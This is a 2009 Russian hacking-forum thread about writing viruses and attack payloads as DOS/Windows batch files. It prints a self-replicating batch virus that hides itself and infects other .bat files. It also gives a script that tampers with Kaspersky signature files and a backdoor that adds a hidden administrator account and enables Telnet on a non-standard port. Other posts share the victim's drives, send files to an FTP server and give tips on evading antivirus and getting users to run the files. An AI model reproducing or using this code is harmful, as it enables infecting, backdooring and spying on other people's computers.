Авторские статьи Вирусописание в дос.Или юзаем батники.

Discussion in 'Статьи' started by winner13, 2 May 2009.

  1. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    (введение)
    Здесь и сейчас Я хочу рассказать о интересном использовании bat-файлов. Не буду рассказывать подробно о батниках но скажу , что этот тип файлов первоначально в виндовс использовался как программная шина для некоторых приложений. Все команды в батфайле не что иное, как обычные Дос команды , в оператив альтернативной системе сосуществующей с виндовс. Итак начнем.

    (написание)

    Для тех кто не знает как создавать бат. Чтоб получить фаил, в ака нотетепаде , или же попросту блокноте , пишем любые команды которые по вашему желанию должны быть выполнены и сохраняем фаил с расширением *.bat , после чего запускаем полученный фаил и видим результат.

    Что же интересного можно написать в этом батнике?

    Есть масса интересных вещей , как полезных, так и не очень. К примеру Я приведу небольшой кусочек исходника моего вируса в командах Дос. Который можно дать на использование атакуемому, в боевом виде.
    Исходный код предоставлен для ознакомления и не несет на себе боевой нагрузки(Так же по техническим причинам тут нет слешей).

    @echo off%[winner13]% {выводим на экран текст «winner13»}

    if '%1=='In_ goto win1 {если переменная %1 равна In, то переходим к метке «:win1»}

    if exist c:winner13.bat goto win2 {проверяем, существует ли файл winner13.bat, если да, то переходим к метке «:win2»}

    if not exist %0 goto win3 {если файл не существует, то переходим к метке «win3»}

    find "winner13" c:winner13.bat {проверяем, есть ли файл winner13 на диске, если нет, то копируем его туда}

    attrib +h c:winner13.bat {делаем файл скрытым}

    :win2 {метка}

    for %%t in (*.bat) do call c:winner13 In_ %%t {выполняем одну команду (call - позволяет вызвать один пакетный файл из другого) для нескольких параметров t} {т.е. вирус находит файл с расширением .bat, и заражает его с помощью команды type, дописывая себя к найденному .bat-файлу}

    goto win3 {перейти к метке}

    :win1 {метка}

    find "winner13" nul {указываем файлу значение 2 и запрещаем вывод команды и ее результата на экран}

    if not errorlevel 1 goto win3 {если не произошло ошибки (с кодом 1) выполнения предыдущей команды, то переходим на метку}

    type c:winner13.bat>>%2 {дописываем «себя» к найденному .bat-файлу}

    :win3 {метка}

    здесь идет любая боевая нагрузка или, что нибудь от себя.

    exit

    Итак мы видим , что результат выполнения файла, это копирование себя на диск C: , нахождение бат файла в системе , заражение его, путем прописывания себя в тело файла, и все это в файле который не надо криптовать(шифровать от антивирусов).

    (заключение)

    Итак , в заключение скажу . Это статья не для профессионалов. Может для кого будет это и не ново, но думаю каждый что то для себя подчеркнёт так как профессионал всегда собирает информацию, извлекая даже из кучи совсем бесполезного и плохо пахнущего ,блистательный кристалл полезного для себя.

    Ну вот и все .Поверид by winner13


    Всё что найду интересного по теме будет размещено в этом посте.
     
    #1 winner13, 2 May 2009
    Last edited: 4 May 2009
    2 people like this.
  2. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    З.Ы. Маленькое зло которое можно использовать в виде боевой нагрузки.

    "Обезвреживание Касперского".
    Code:
    @echo off
    attrib -R c:progra~1antivi~1 ackdoor.avc >nul
    attrib -R c:progra~1antivi~1 rojan.avc >nul
    del c:progra~1antivi~1 ackdoor.avc >nul
    del c:progra~1antivi~1 rojan.avc >nul
    copy c:progra~1antivi~1macro.avc c:progra~1antivi~1 ackdoor.avc >nul
    copy c:progra~1antivi~1mail.avc c:progra~1antivi~1 rojan.avc >nul
    c:windowspkunzip.exe -e -sBackdooR c:windowsASYSLG.DLL
    C:WindowsГЛАВНО~1ПРОГРА~1АВТОЗА~1 >nul
    del c:windowspkunzip.exe >nul
    del c:windowsasyslg.dll >nul
    del c:winstart.bat >nul
    echo on
    
    "перезагрузка с форматом".
    Code:
     
    Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js
    echo WSHShell.Popup (" ПИШИ СЮДА ЧТО УГОДНО ,МОЖНО ПОСМЕРТНУЮ РЕЧЬ ЛАМЕРА >) "); >> %temp%mes.js
    start %temp%mes.js
    deltree /y %temp%mes.js
    
     
    1 person likes this.
  3. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Был бы премного благодарен , еслиб хорошие люди накидали сюда своей "Боевой нагрузки" ,кто что может .
     
  4. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    В наше время мало кто юзает батники для таких целей, да еще и под дос)
     
  5. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    +) ЗА то грамотно юзают знающие =) Это и эффективней если доработать нормально. Всё сейчас в нашем мире зависит от желания.
     
  6. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Это эффективней????
    Думаешь что говоришь?
    Обоснуй.
    Все зависит не столько от желания, сколько от возможностей...
     
  7. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0

    Без проблем. Я сказал при соответствующей доработке, а тоесть написания полного функционала , не зря же в виндовс данная шина реализовывалась ,а значит можно сделать всё , главное знать как . К тому же , бат фаил как тебе и без меня известно не детектируемый антивирусами , да и подозрений допустим возникает меньше когда юзер видит не привычный до сель пугавший ехе-шник , а какой то незнакомый бат. Ещё не маленький плюс это при склейке , криптовать на палевность не надо .В общем не всё сказал,ссори не сплю долго .Если что допишу в ПМ все чудеса и превосходство.
    А на счет возможностей ты не прав, если есть желание , возможности найти можно , без желания ты возможности даже искать не будешь.
     
  8. procedure

    procedure Elder - Старейшина

    Joined:
    22 Dec 2007
    Messages:
    527
    Likes Received:
    257
    Reputations:
    46
    Code:
    Proccess cmd = new  Process();
    cmd.StartInfo.FileName = "cmd.exe";
    cmd.StartInfo.CreateNoWindow = false;
    cmd.StartInfo.UseShellExecute = false;
    cmd.Start();
    Так поменьше палива будет, в твоих злостных школьных делах.
     
  9. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Ха, также могу сказать про экзешник, .com, .exe, .scr файлы, антивирусу на них насрать также как на твой батник, если файлы не выполянют ничего плохого.
    Попробуй своим супер батником обойти файрвол(оутпост к примеру), который к примеру, меняет данные системных файлов, или же заменяет системные файлы...

    Куда больше будет подозрений, что будет подозрительней бат файл(юзер понятия не имеет что это) или же файлик расширения .scr, и иконкой картинки?, что по большей вероятности он запустит?
    Если руки прямые и есть знания, криптовать нах. ниче не надо, имеется ввиду свой код.

    Если бы было все так просто как ты утверждаешь, .bat вирусов было бы куда больше, но это прошлый век, к тому же ДОС, ну это ж пиздец, много ли компов ты заразишь?
     
  10. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Так поменьше палива будет, в твоих злостных школьных делах.[/QUOTE]
    Конечна спасибо за код товарисчь +) НО только вера спасет отца русской демократии.Само дело не школьное ибо изучить шину , и сделать на основе этого что то действительно хорошее ,занятие не для слабонервных.
     
  11. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    ГЫГ, на пинч.ЕХЕ , троян.КОМ , и тому подобное , скорей вы дорогой мой ,давно сигнатурки то не обновляли.НЕ дай вам бог услышать визжание дикого разяренного вепря+).Ещё не факт , что ВСЕ файлы неделуют нечего плохого, большенство вот таких вот полиморфов созданных на в .Бат и созданны для жесткого поюзания тачки жертвы.На счет фаервола и аутпоста . Легко, в бат есть несколько строчек , где от имини юзера в брендмауер добовляется открытый порт(Сожелею но сейчас не могу привести пример кода) .Так же , для болие простого поюзания , через бат можно открыть 21 порт на форточках и юзать телнет(на хакзоне есть по этому поводу статья). Главное чтоб отстук и ipconfig /all чтобы был.

    Подозрения как раз возникают у опытных ,что они уже не раз наслышини о злых ЕХЕ-шниках и прочей хератени , так что если у человека параноидальная склонность к обеспечению своей безопасности тут уже только Си тебе в помощ.НО от незнания не кто не защищён , так можно и пару раз по бат кликнуть, без подозрений, так как незнаешь что это такое.(Все мы к сожелению учимся на своих ошибках,или вы не согласны с этим?)
    Сожелею, но не каждый может писать на си++ или асменге , и тому подобное , а дос знает каждый .В этом вся загвоздка .Все научились юзать чюжие пинчи, лоадеры, и прочую бяку , и всем насрать на процесс творения.А если обучить соотвестсвующим приёмам , то может и появится тяга к прекрасному.;)

    ВСё от не знания , дорогой вы мой товарисчь , не всё могут познать энергию дзен ,так как секреты данной шины скрыты от нас мелкософтом в веках, если есть желание погугли на тему , точно знаю что нормальных спецификаций или хорошего ртфм-чика ты не найдёшь .Из-за незнания что и как делать, бат виров так мало.Зато посматри на то что есть,те батники что сделанны были с умом и всем творческим подходом , до сих пор работают на своих создателей скрываясь в недрах систем32 ,куда их и посадила воспаленная фантазия создателей.Умные люди для разнообразия чего только не делают.А мы не можим ,так как они,нет ни умения не навыков, не знаний.А знание сила,над не знающими.


    Если есть примеры кода , лучше кидай сюда, чем попусту спорить об эффективности.Пускай каждый сам за себя решает на сколько для него ЭТО эффективно , и что ему ближе.
     
    #11 winner13, 4 May 2009
    Last edited: 4 May 2009
  12. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Вот кстати , боевая нагрузка ,в виде взлома через телнет .

    Code:
    chcp 1251
    net user SUPPORT_388945a0 /delete
    net user hacker hack /add
    net localgroup Администраторы hacker /add
    net localgroup Пользователи SUPPORT_388945a0 /del
    regedit /s conf.reg
    sc config tlntsvr start= auto
    tlntadmn config port=972 sec=-NTLM
    net start Telnet
    

    Теперь пояснения:
    chcp 1251- меняет кодировку на 1251, так как батник написан не в дос кодировке.
    net user SUPPORT_388945a0 /delete и
    net localgroup Пользователи SUPPORT_388945a0 /del - удаляют стандартную
    первоначальную виндосовскую учетку, которая есть в xp prof и в 2003 server.
    net user hacker hack /add и
    net localgroup Администраторы hacker /add - не трудно догадаться, что этими
    командами создаётся новая учетная запись с админскими правами,
    где логин: hacker
    пасс: hack
    Так как при создании нового админа он будет виден в welcome screen'е, отключить его
    можно импортировав
    рег файл в реестр, следующего содержания:
    Содержимое conf.re
    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
    NTCurrentVersionWinlogonSpecialAccountsUserLis t]
    "hacker"=dword:00000000
    Сервис телнет по умолчанию отключен, но есть такая команда sc config tlntsvr start=
    auto которая
    меняет тип его запуска на автоматический(по дефолту disabled ).
    При запуске телнета, он ставится на стандартный свой 23-ий порт, но увы это
    палевно, поэтому советую прописывать этой командой tlntadmn config port=972
    sec=-NTLM , редко используемый порт. В нашем случае это 972.
    Ну вот все настройки и конфигурация сервиса завершена, и эта строка net start Telnet
    окончательно запустит наш бэкдор.
     
    2 people like this.
  13. NetSter

    NetSter Moderator

    Joined:
    30 Jul 2007
    Messages:
    810
    Likes Received:
    414
    Reputations:
    62
    автору респект что начал тему)
    бaтники веселая штука))
    для бобавления\редактирования инфо о файле или добавления иконки или компиляции в ехе юзайте прогу

    [​IMG]

    имхо намного проще так впарить батник))
     
    _________________________
  14. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    Еще можно расшариь диски посредством батника , но это палевно, каспер данный текст даже в *.тхт формате с визгом подсвечивает ,но попробывать можно если у жертвы нодушка или др_вэб

    Code:
    net share disk_c=c: > nul
    net share disk_d=d: > nul
    
    а после расшаривания найти нужный сегмент сети ,свою жертву , и смотреть что у неё на дисках.
     
  15. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
     
    1 person likes this.
  16. AARON

    AARON Elder - Старейшина

    Joined:
    29 Apr 2008
    Messages:
    62
    Likes Received:
    14
    Reputations:
    1
    можно через "start /min 1.bat" запустить в свернутом режиме. Но честно говоря я для этих целей писал минипрогу на VB, которая полностью сворачивает. С другой стороны тогда и без батников обойтись можно
     
  17. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    связка , бат+ VBS возможна , так как оба исполняются в системе .Единственное понять не могу как вставить одно в другое ...Разными способами побывал, ещё есть варианы, но это надо лезть в спецификации.
     
  18. AARON

    AARON Elder - Старейшина

    Joined:
    29 Apr 2008
    Messages:
    62
    Likes Received:
    14
    Reputations:
    1
    Можно одним батником создать VBS или наоборот. очень просто.

    Code:
    echo ping -n 5 localhost>1.bat
    echo del %0>>1.bat
    start 1.bat
    
    создает батник и запускает его.
     
  19. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    несколько интересных примеров

    Вот несколько интересных примеров батников , которые можно использовать по своему усмотрению

    Code:
     :IsConnected
    :: check if Internet connected
    setlocal
    ping whois.arin.net | find "TTL" > NUL
    if ERRORLEVEL 1 (set IsConnected=1) ELSE (set IsConnected=0)
    endlocal & set IsConnected=%IsConnected%
    goto :EOF
    
    
    Code:
    :GetIP :: IP for primary adapter setlocal for /f "delims=: tokens=1-2" %%c in ('ipconfig /all ^| find "IP Address"') do set GetIP=%%d endlocal & set GetIP=%GetIP:~1% goto :EOF

    Code:
    :GetGateway :: Default Gateway setlocal for /f "delims=: tokens=1-2" %%c in ('ipconfig /all ^| find "Default Gateway"') do set GetGateway=%%d endlocal & set GetGateway=%GetGateway:~1% goto :EOF
     
  20. winner13

    winner13 Banned

    Joined:
    2 May 2009
    Messages:
    46
    Likes Received:
    31
    Reputations:
    0
    отправка данных

    Задача: Написать батник, чтобы файлы из папки Outbox отправлялись на FTP, складывались в папку Sent, и после отправки папка Outbox очищалась. но, если по каким то причинам FTP не принял файл - он остается в Outbox. Для этого придумал так, что после отправки на фтп, отуда для подтверждения приходит файлик ok.txt, если приходит - значит все норм и папка Outbox очищается

    Code:
    @echo off
    taskkill /f /im expmon.exe>nul
    set FROM=C:\WINDOWS\exprep
    set TO=c:\temp\expert\outbox\
    md "%TO%\"
    IF /I %Windir% == C:\WINNT GOTO Win2K
    set vdate=%DATE:~0,-5%
    GOTO SetFileName
    :Win2K
    set vdate=%DATE:~3,-5%
    :SetFileName
    set vtime=%TIME:~0,-3%
    set vtime=%vtime::=.%
    C:\PROGRA~1\WinRAR\rar.exe a -r "%TO%\%VDATE%.rar" "%FROM%\*.*"
    del c:\WINDOWS\exprep\*.* /S /q >nul
    start %WINDIR%\expmon.exe >nul
    del /s c:\temp\expert\outbox\*.txt
    ftp -s:ftp.txt ftp.ftp.ru
    if exist c:\temp\expert\outbox\ok.txt MOVE c:\temp\expert\outbox\*.rar c:\temp\expert\sen
    
    содержание ftp.txt
    
    user
    pass
    lcd c:\temp\expert\outbox
    put *.rar
    get ok.txt
    bye
    
    
    можно отправить и такую инфу как:
    Code:
    ipconfig /all > ipconfig.txt ipconfig.txt
     
    #20 winner13, 6 May 2009
    Last edited: 6 May 2009
    1 person likes this.